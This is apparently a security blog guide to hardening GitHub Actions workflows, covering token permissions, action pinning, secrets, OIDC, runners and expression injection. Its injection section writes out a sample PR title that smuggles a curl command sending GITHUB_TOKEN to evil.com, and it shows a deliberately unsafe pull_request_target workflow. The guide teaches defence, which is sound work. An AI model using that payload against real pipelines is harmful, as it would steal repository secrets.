GitHub Actions has become the most widely adopted CI/CD platform in the world. With over 90% of GitHub repositories capable of using it natively, it powers everything from simple linting checks to complex multi-cloud deployments. But that ubiquity makes it the single most targeted CI/CD attack surface in modern software development.
In 2024 and 2025, attackers compromised popular GitHub Actions (like tj-actions/changed-files and reviewdog), injected malicious code into thousands of CI workflows, and exfiltrated secrets from organizations that assumed their pipelines were safe. Supply chain attacks on CI/CD are no longer theoretical — they are routine.
This guide is a comprehensive, hands-on reference for securing GitHub Actions from the ground up. Whether you are a DevOps engineer hardening production workflows, a security architect defining CI/CD policy, or a developer who wants to stop shipping vulnerabilities through your pipeline, this post covers everything you need to know — with links to detailed labs and cheat sheets throughout.
Understanding the GitHub Actions Security Model
Before you can secure GitHub Actions, you need to understand how its security model actually works. GitHub Actions operates on a trust model built around three pillars: authentication tokens, workflow triggers, and execution environments.
The GITHUB_TOKEN
Every workflow run is automatically issued a GITHUB_TOKEN — a short-lived token scoped to the repository where the workflow runs. This token is the primary authentication mechanism for interacting with the GitHub API from within workflows. By default, the token has broad read/write permissions across the repository, including the ability to push code, manage issues, and modify packages.
The critical security insight: the default permissions of GITHUB_TOKEN are far too broad for most workflows. A workflow that only needs to post a comment on a PR should not have permission to push code. Yet without explicit configuration, it does.
Workflow Triggers
GitHub Actions supports dozens of event triggers — push, pull_request, pull_request_target, workflow_dispatch, schedule, issue_comment, and more. Each trigger carries different security implications:
pull_request— Runs in the context of the fork’s code. TheGITHUB_TOKENis read-only. Secrets are not available from forks. This is the safest trigger for external contributions.pull_request_target— Runs in the context of the base repository. TheGITHUB_TOKENhas write access. Secrets are available. This is extremely dangerous if you check out the PR’s head code.push— Runs on the pushed commit. Full access to secrets and write tokens. Safe for trusted branches only.workflow_dispatch— Manual trigger. Useful for controlled deployments, but verify input parameters.schedule— Runs on a cron schedule against the default branch. Has write access and secrets. Ensure that scheduled workflows are not modifiable by untrusted PRs.
Environments and Deployment Protection
GitHub Environments provide an additional security boundary. You can attach protection rules to environments — required reviewers, wait timers, branch restrictions, and deployment branch policies. Secrets can be scoped to specific environments, ensuring that production credentials are only available to workflows deploying to production.
Environments are one of the most underused security features in GitHub Actions. If you are not using them, you are missing a critical control layer.
Workflow Permissions: The Principle of Least Privilege
The single most impactful security improvement you can make to any GitHub Actions workflow is restricting the GITHUB_TOKEN permissions. GitHub allows you to set permissions at two levels: the entire workflow and individual jobs.
Setting Default Permissions to Read-Only
At the organization or repository level, navigate to Settings → Actions → General → Workflow permissions and select “Read repository contents and packages permissions”. This ensures that every workflow starts with minimal permissions, and must explicitly request anything beyond read access.
In your workflow files, always declare permissions explicitly at the top level:
permissions:
contents: read
pull-requests: write # Only if needed
For jobs that require different permissions, declare them at the job level. Job-level permissions override workflow-level permissions for that specific job, providing even finer-grained control:
jobs:
build:
permissions:
contents: read
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm build
deploy:
permissions:
contents: read
id-token: write # For OIDC
runs-on: ubuntu-latest
steps:
- uses: aws-actions/configure-aws-credentials@v4
For a complete reference on which permissions are needed for common operations, see our GitHub Actions Security Cheat Sheet, which maps every common task to its minimal required permission set.
Action Pinning: Defending Against Supply Chain Attacks
Every uses: directive in your workflow is a dependency — and like any dependency, it can be compromised. The tj-actions/changed-files incident in early 2025 demonstrated exactly what happens when a popular action is hijacked: the attacker modified the action to exfiltrate GITHUB_TOKEN and other secrets from every repository that referenced it by tag.
Why Tags and Branches Are Not Enough
When you reference an action like actions/checkout@v4, you are trusting the action maintainer — and anyone who compromises their account — not to move or modify that tag. Tags in Git are mutable. An attacker who gains write access to a repository can point v4 at any commit they choose.
SHA Pinning
The solution is to pin actions to their full commit SHA:
# Bad - mutable tag
- uses: actions/checkout@v4
# Good - immutable SHA pin with version comment
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
SHA-pinned references are immutable. Even if the action repository is compromised, the SHA points to the exact code you audited. The trailing comment ensures that humans can still identify the version at a glance, and tools like Dependabot can still propose updates.
Automating Pin Updates with Dependabot
SHA pinning creates a maintenance burden — you need to update pins when new versions are released. Dependabot solves this. Add a .github/dependabot.yml configuration:
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
Dependabot will automatically open PRs to update your SHA-pinned actions to the latest version, while maintaining the immutable SHA reference. This gives you the security of pinning with the convenience of automated updates.
For a hands-on walkthrough of implementing action pinning, permissions hardening, and secrets best practices in a real workflow, complete our Lab: Hardening GitHub Actions Workflows — Permissions, Pinning, and Secrets.
Secrets Management
Secrets in GitHub Actions exist at three scopes: repository, environment, and organization. Understanding the differences and using the right scope is critical for security.
Repository Secrets
Available to all workflows in a repository. Any workflow triggered by a push or pull_request (from the same repo) can access them. They are not available to workflows triggered by pull_request events from forks.
Environment Secrets
Scoped to a specific environment. Only jobs that reference that environment can access its secrets. Combined with environment protection rules (required reviewers, branch restrictions), environment secrets provide the strongest native secret protection in GitHub Actions.
Organization Secrets
Shared across repositories. Can be restricted to specific repositories or made available to all. Useful for shared credentials like container registry tokens, but increase blast radius if compromised.
Fork Safety and pull_request_target
The interaction between forks, secrets, and pull_request_target is one of the most dangerous areas in GitHub Actions security. Here is the key rule:
Never check out PR head code in a pull_request_target workflow and run it with access to secrets.
This pattern — sometimes called the “pwn request” — allows an attacker to submit a PR from a fork that modifies the build script, test suite, or any other executed code. Because pull_request_target runs with the base repo’s secrets and write token, the attacker’s code executes with full access to your credentials.
# DANGEROUS - Never do this
on: pull_request_target
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Attacker-controlled code!
- run: npm test # Runs attacker's code with your secrets
If you must use pull_request_target, only check out the base branch code, or use a two-workflow pattern where the first workflow (triggered by pull_request) produces artifacts, and the second (triggered by workflow_run) processes those artifacts with elevated permissions.
OIDC and Workload Identity Federation
Long-lived credentials stored as GitHub secrets are a ticking time bomb. If a secret is exfiltrated — through a compromised action, a log leak, or a malicious PR — the attacker has persistent access until the credential is manually rotated. The solution is OIDC-based workload identity federation.
How OIDC Works in GitHub Actions
GitHub Actions can issue OIDC tokens that assert the identity of a workflow run. These tokens contain claims about the repository, branch, environment, actor, and workflow. Cloud providers (AWS, GCP, Azure) can be configured to trust these tokens and exchange them for short-lived credentials.
The flow works like this:
- Your workflow requests an OIDC token from GitHub’s token endpoint (requires
id-token: writepermission). - The token is sent to your cloud provider’s STS/token exchange endpoint.
- The cloud provider validates the token signature against GitHub’s OIDC discovery document.
- If the token claims match your trust policy (correct repo, branch, environment), the provider issues short-lived credentials.
- Your workflow uses these temporary credentials — which expire automatically.
Example: AWS with OIDC
permissions:
id-token: write
contents: read
steps:
- uses: aws-actions/configure-aws-credentials@v4
with:
role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
aws-region: us-east-1
# No access keys needed!
With OIDC, there are no static credentials to steal. Even if an attacker exfiltrates the OIDC token, it expires in minutes and is bound to specific claims that limit where it can be used.
For a deep dive into the concepts behind workload identity federation, read our guide on Short-Lived Credentials and Workload Identity Federation for CI/CD. To implement it hands-on, follow our Lab: Configuring OIDC Workload Identity for GitHub Actions and AWS.
Runner Security: Hosted vs. Self-Hosted
The runner is where your workflow code actually executes. The security properties of your runner directly determine the blast radius of any workflow compromise.
GitHub-Hosted Runners
GitHub-hosted runners are ephemeral VMs that are provisioned fresh for each job and destroyed afterward. This provides strong isolation:
- No persistence between jobs — malware cannot survive across runs.
- No lateral movement to other workflows or repositories.
- Predictable, hardened base images maintained by GitHub.
For most workflows, GitHub-hosted runners are the most secure option. The trade-off is limited customization and potentially higher costs for compute-intensive workloads.
Self-Hosted Runners: Risks and Mitigations
Self-hosted runners run on your own infrastructure. They offer more control and can be cheaper at scale, but they introduce significant security risks:
- Persistence — If a runner is not ephemeral, a compromised workflow can plant backdoors that affect future runs.
- Shared state — Credentials, caches, and artifacts from previous jobs may be accessible.
- Network access — Self-hosted runners often have access to internal networks, databases, and services that GitHub-hosted runners cannot reach.
- Fork exploitation — If a public repo uses self-hosted runners and allows fork PRs, anyone can run arbitrary code on your infrastructure.
Ephemeral Runners with Actions Runner Controller (ARC)
The best approach for self-hosted runners is to make them ephemeral. Actions Runner Controller (ARC) runs on Kubernetes and provisions a fresh runner pod for each job. When the job completes, the pod is destroyed — just like a GitHub-hosted runner, but on your own infrastructure.
Key ARC security practices:
- Use Kubernetes-mode (containerMode) for maximum isolation.
- Set resource limits to prevent crypto-mining abuse.
- Use network policies to restrict egress from runner pods.
- Restrict runner groups to specific repositories.
- Never assign self-hosted runners to public repositories unless they are fully ephemeral.
For a complete guide to runner security architecture, see Securing GitHub Actions Runners. To deploy ephemeral runners in practice, work through our Lab: Ephemeral Self-Hosted Runners with Actions Runner Controller.
Third-Party Action Safety
Every third-party action you reference in a workflow is code that runs inside your CI/CD pipeline with access to your source code, secrets, and deployment credentials. Treating third-party actions like any other software dependency is essential.
Auditing Actions Before Use
Before adding any third-party action to your workflows:
- Review the source code — Check what the action actually does. Look for network calls, secret access, and file modifications.
- Check the maintainer — Is it a verified creator? Is the repository actively maintained? How quickly are security issues addressed?
- Examine the permissions it requests — Does a “label PRs” action need
contents: write? That is a red flag. - Look for published security policies — Does the action repository have a SECURITY.md? Are there vulnerability disclosure processes?
- Pin to SHA — Always pin, even after auditing. The code can change after your review.
Implementing Action Allowlists
At the organization level, GitHub allows you to restrict which actions can be used. Navigate to Organization Settings → Actions → General → Policies and configure an allowlist. Options include:
- Allow only actions created by GitHub.
- Allow actions from verified creators plus a specific allowlist.
- Allow only specific actions by full reference.
For enterprises, the allowlist is a critical control. It prevents developers from casually adding unvetted actions to workflows and provides a centralized approval process for new action dependencies.
To practice detecting malicious behavior in GitHub Actions using static analysis techniques, complete our Lab: Detecting Malicious GitHub Actions with Static Analysis.
Expression Injection
Expression injection is one of the most common and most dangerous vulnerabilities in GitHub Actions workflows. It occurs when untrusted input is interpolated directly into a workflow expression using the ${{ }} syntax.
How Expression Injection Works
GitHub Actions expressions are evaluated before the shell sees them. When you write:
- run: echo "Hello ${{ github.event.pull_request.title }}"
The expression is replaced with the literal PR title before the shell command is constructed. If an attacker creates a PR with the title:
"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo "
The resulting shell command becomes:
echo "Hello "; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo ""
The attacker has injected arbitrary shell commands into your workflow.
Vulnerable Contexts
The following GitHub context values are attacker-controlled and should never be used directly in run: blocks:
github.event.pull_request.titlegithub.event.pull_request.bodygithub.event.issue.titlegithub.event.issue.bodygithub.event.comment.bodygithub.event.review.bodygithub.event.head_commit.messagegithub.head_ref(branch name — attacker-controlled in forks)
The Fix: Environment Variables
Instead of interpolating expressions into run: blocks, pass them through environment variables:
# Vulnerable
- run: echo "PR title: ${{ github.event.pull_request.title }}"
# Safe
- run: echo "PR title: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
When the value is passed through an environment variable, the shell treats it as a string literal, not as code to execute. This completely prevents injection.
Supply Chain Security: Signing and Provenance
Securing your CI/CD pipeline is not just about protecting the pipeline itself — it is about ensuring that the artifacts your pipeline produces are trustworthy. Supply chain security for GitHub Actions encompasses artifact signing, provenance attestation, and verification.
Artifact Signing with Cosign and Sigstore
Cosign, part of the Sigstore project, enables keyless signing of container images and other artifacts using OIDC identities. In GitHub Actions, this means your workflow’s identity (repository, branch, workflow) becomes the signing identity — no static signing keys to manage or protect.
steps:
- uses: sigstore/cosign-installer@v3
- run: cosign sign --yes ${{ env.IMAGE_REF }}
env:
COSIGN_EXPERIMENTAL: 1
The resulting signature is stored in a transparency log (Rekor), providing an auditable record that a specific workflow in a specific repository produced a specific artifact.
SLSA Provenance
SLSA (Supply-chain Levels for Software Artifacts) provides a framework for ensuring build integrity. GitHub’s official actions/attest-build-provenance action generates SLSA provenance attestations that record exactly how an artifact was built — the source repo, commit, builder, and build instructions.
SLSA provenance answers the question: “Can I prove this artifact was built from this source code by this CI/CD system?” For any organization serious about supply chain security, provenance attestation should be part of every release workflow.
To get hands-on experience with container signing using Cosign in a CI/CD pipeline, see our Cosign signing lab. For implementing SLSA provenance generation and verification, work through our SLSA provenance lab.
Common Misconfigurations: Top 5
After auditing hundreds of GitHub Actions workflows, these are the five most common security misconfigurations we encounter:
1. Missing Permissions Block
Workflows without an explicit permissions: block inherit the repository’s default token permissions — which is usually read/write for everything. This violates least privilege and maximizes the blast radius of any compromise.
Fix: Add a top-level permissions: read-all or granular permissions block to every workflow file.
2. Unpinned Third-Party Actions
Using tag references like @v4 or @main for third-party actions exposes you to supply chain attacks. If the action’s repository is compromised, attackers can push malicious code under the existing tag.
Fix: Pin all third-party actions to full commit SHAs. Use Dependabot to manage updates.
3. Expression Injection in run: Blocks
Directly interpolating attacker-controlled context values (PR titles, issue bodies, branch names) into run: steps enables arbitrary command execution.
Fix: Always pass untrusted context values through environment variables.
4. Unsafe pull_request_target Usage
Checking out and executing code from a PR head in a pull_request_target workflow grants the attacker access to repository secrets and write permissions.
Fix: Never check out github.event.pull_request.head.sha in pull_request_target workflows. Use the two-workflow pattern instead.
5. Long-Lived Cloud Credentials as Secrets
Storing AWS access keys, GCP service account JSON, or Azure client secrets as repository or organization secrets creates persistent credential exposure. If these secrets are leaked, the attacker has long-term access to your cloud resources.
Fix: Replace static credentials with OIDC workload identity federation. No secrets to steal means no credential exposure.
Implementation Checklist
Use this checklist to systematically harden your GitHub Actions workflows. Each item maps to a section in this guide:
- Permissions: Set organization/repo default token permissions to read-only.
- Permissions: Add explicit
permissions:blocks to every workflow and job. - Pinning: Pin all third-party actions to full commit SHAs.
- Pinning: Configure Dependabot for
github-actionsecosystem. - Secrets: Migrate from repository secrets to environment secrets with protection rules.
- Secrets: Audit all
pull_request_targetworkflows for unsafe checkout patterns. - OIDC: Replace static cloud credentials with OIDC workload identity federation.
- OIDC: Configure subject claim filters to restrict token scope (repo, branch, environment).
- Runners: Ensure self-hosted runners are ephemeral (use ARC or similar).
- Runners: Never assign self-hosted runners to public repositories.
- Actions: Implement an organizational action allowlist.
- Actions: Audit all third-party actions before approving them.
- Injection: Grep all workflows for
${{inrun:blocks and remediate injection vectors. - Supply Chain: Implement artifact signing with Cosign/Sigstore.
- Supply Chain: Generate SLSA provenance for release artifacts.
- Linting: Add
actionlintandzizmorto your CI pipeline to catch issues automatically. - Environments: Use GitHub Environments with required reviewers for production deployments.
Related Labs
Theory only takes you so far. Apply what you have learned in these hands-on labs:
- Lab: Hardening GitHub Actions Workflows — Permissions, Pinning, and Secrets — Implement least-privilege permissions, SHA pinning, and secure secrets handling in a real workflow.
- Lab: Configuring OIDC Workload Identity for GitHub Actions and AWS — Set up keyless authentication between GitHub Actions and AWS using OIDC federation.
- Lab: Ephemeral Self-Hosted Runners with Actions Runner Controller — Deploy ARC on Kubernetes to run secure, ephemeral CI/CD runners.
- Lab: Detecting Malicious GitHub Actions with Static Analysis — Use static analysis tools to identify suspicious patterns and malicious behavior in third-party actions.
- GitHub Actions Security Cheat Sheet — Quick reference for minimal permissions, safe patterns, and common pitfalls.
Tools for GitHub Actions Security
Automate security enforcement with these essential tools:
actionlint
actionlint is a static analysis tool for GitHub Actions workflow files. It catches syntax errors, type mismatches, invalid shell commands, and security issues like expression injection. Run it locally and in CI to catch problems before they reach production:
# Install and run
brew install actionlint
actionlint .github/workflows/*.yml
zizmor
zizmor is a dedicated GitHub Actions security linter. Unlike general-purpose linters, zizmor focuses specifically on security issues: expression injection, unpinned actions, overly broad permissions, dangerous triggers, and more. It produces actionable findings with severity ratings and remediation guidance:
# Install and run
pip install zizmor
zizmor .github/workflows/
Both tools should be part of your CI pipeline. Run them on every PR that modifies workflow files. Combined, they catch the vast majority of common GitHub Actions security issues before they are merged.
Conclusion
GitHub Actions security is not a single configuration toggle — it is a layered defense that spans permissions, dependencies, secrets, identity, infrastructure, and supply chain integrity. The attacks against CI/CD pipelines are increasing in frequency and sophistication, and the organizations that treat pipeline security as an afterthought will be the ones making breach disclosures.
The good news is that every mitigation in this guide is actionable today. You can set permissions to read-only in five minutes. You can enable Dependabot for action pinning in one commit. You can migrate from static credentials to OIDC in an afternoon. And you can deploy ephemeral runners before the end of the week.
Start with the implementation checklist above. Work through the labs. Run actionlint and zizmor on your existing workflows and fix what they find. Every hardening step you take raises the cost for attackers and lowers your risk.
Your CI/CD pipeline is a production system. Secure it like one.